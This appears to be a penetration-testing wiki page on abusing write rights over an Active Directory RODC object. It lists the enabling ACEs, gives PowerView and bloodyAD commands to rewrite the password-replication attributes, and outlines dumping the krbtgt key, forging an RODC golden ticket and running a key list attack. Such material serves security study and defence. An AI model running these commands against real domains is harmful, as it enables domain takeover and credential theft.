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Rights on RODC object ​

With administrative control over the RODC computer object in the Active Directory, there is a path to fully compromise the domain. It is possible to modify the RODC’s msDS-NeverRevealGroup and msDS-RevealOnDemandGroup attributes to allow a Domain Admin to authenticate and dump his credentials via administrative access over the RODC host.

For more granularity, one of these ACEs against the RODC object is initially sufficient, since they will implicitly allow WriteProperty against the msDS-RevealOnDemandGroup and msDS-NeverRevealGroup attributes:

  • GenericWrite
  • GenericAll / FullControl
  • WriteDacl (the attacker can modify the DACL and obtain arbitrary permissions)
  • Owns (c.f. WriteDacl)
  • WriteOwner (i.e. the attacker can obtain Owns -> WriteDacl -> other permissions)
  • WriteProperty against the msDS-RevealOnDemandGroupattribute in conjunction with another primitive to gain privileged access to the host. WriteProperty against the msDS-NeverRevealGroup attribute may be required if it includes the target account.

From UNIX-like systems, this PowerView python package (Python) can be used to modify the LDAP attribute.

bash
powerview "$DOMAIN"/"$USER":"$PASSWORD"@"RODC_FQDN"
powershell
#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup

Alternatively, it can be achieved using bloodyAD

bash
# Get original msDS-RevealOnDemandGroup values 
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object 'RODC-server$' --attr msDS-RevealOnDemandGroup
distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local

# Add the previous value plus the admin account
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set object 'RODC-server$' --attr msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' -v 'CN=Administrator,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set object 'RODC-server$' --attr msDS-NeverRevealGroup

Then, dump the krbtgt_XXXXX key on the RODC server with admin access on the host (this can be done by modifying the managedBy attribute for example), and use it to forge a RODC golden ticket and conduct a key list attack to retrieve the domain Administrator's password hash.

Resources ​

https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06

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